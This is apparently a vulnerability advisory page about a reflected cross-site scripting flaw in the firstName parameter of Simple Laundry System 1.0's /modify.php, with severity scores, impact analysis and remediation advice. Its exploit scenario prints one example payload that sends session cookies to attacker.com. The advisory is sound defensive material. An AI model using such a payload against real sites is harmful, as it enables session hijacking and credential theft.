EUVD-2026-16138
GHSA-wgxm-cpjf-429r
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | While the CVSS v4.0 score of 5.3 appears moderate, the actual real-world risk is elevated due to multiple exploitation signals: a publicly available proof-of-concept exploit significantly lowers the barrier to attack execution; the attack vector is network-based with low complexity and no authentication required; exploitation is marked as 'P' (Proof of Concept exists), indicating practical feasibility. The CVSS vector shows user interaction is required (UI:P), which is the only limiting factor-an attacker must trick a user into clicking a malicious link. However, the widespread availability of the PoC on GitHub and the simplicity of XSS exploitation make this a legitimate priority for organizations running this software. The 'E:P' designation (Exploit - Proof of Concept) suggests this is likely to be weaponized if not already. This is not a low-priority issue masked by moderate metrics; it is a straightforward, easily exploitable vulnerability with active proof-of-concept code. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL to the vulnerable /modify.php endpoint with a JavaScript payload injected into the firstName parameter (e.g., /modify.php?firstName=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>) and sends it via phishing email to a laundry system user. When the user clicks the link while logged in, the JavaScript executes in their browser, exfiltrating session cookies or credentials to the attacker's server. The public proof-of-concept available on GitHub (https://github.com/kbloow/CVE/issues/2) provides ready-made payload templates, significantly reducing the effort needed for an attacker to launch a successful campaign against vulnerable deployments. |
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Alert meAnalysisAIv1 – Mar 26, 2026
A reflected cross-site scripting (XSS) vulnerability exists in code-projects Simple Laundry System version 1.0 via the firstName parameter in the /modify.php file. An attacker can inject malicious JavaScript that executes in a victim's browser when they visit a crafted link, potentially leading to session hijacking, credential theft, or malware distribution. A public proof-of-concept is available on GitHub, and exploitation requires only user interaction (clicking a malicious link), making this a practical concern despite the moderate CVSS score of 5.3.
RemediationAI
The primary remediation is to apply a security patch from code-projects if available; check https://code-projects.org/ for updates to version 1.0 or later. If no official patch exists, implement server-side input validation and output encoding in /modify.php: use PHP's htmlspecialchars() or htmlentities() functions when rendering the firstName parameter in HTML context, or use a templating engine with automatic escaping enabled. Additionally, implement Content Security Policy (CSP) headers to restrict script execution and use prepared statements or parameterized queries if database queries are involved. Until patching is possible, restrict application access via network firewall rules, use a Web Application Firewall (WAF) to detect and block XSS payloads targeting the firstName parameter, and educate users not to click suspicious links to the application. Consider retiring this application if it is no longer actively maintained by code-projects.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a classic stored or reflected XSS flaw (CWE-79: Improper Neutralization of Input During Web Page Generation) in a PHP-based web application. The Simple Laundry System, identified via CPE (cpe:2.3:a:code-projects:simple_laundry_system:*:*:*:*:*:*:*:*), fails to properly sanitize or encode user-supplied input in the firstName parameter before rendering it in the /modify.php component. The Parameter Handler component does not implement adequate output encoding or input validation, allowing arbitrary HTML and JavaScript to be injected into the page context. This is a fundamental web application security flaw where user input is directly passed to the response without escaping special characters that have meaning in HTML/JavaScript contexts.
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Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
4DescriptionCVE.org
A vulnerability was identified in code-projects Simple Laundry System 1.0. This impacts an unknown function of the file /modify.php of the component Parameter Handler. The manipulation of the argument firstName leads to cross site scripting. The attack may be initiated remotely. The exploit is publicly available and might be used.
Executive ViewAI
Organizations using A vulnerability should be aware of moderate risk from CVE-2026-4849, a cross-site scripting vulnerability rated CVSS 5.3. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Proof-of-concept code is publicly available. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
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Exploit-DB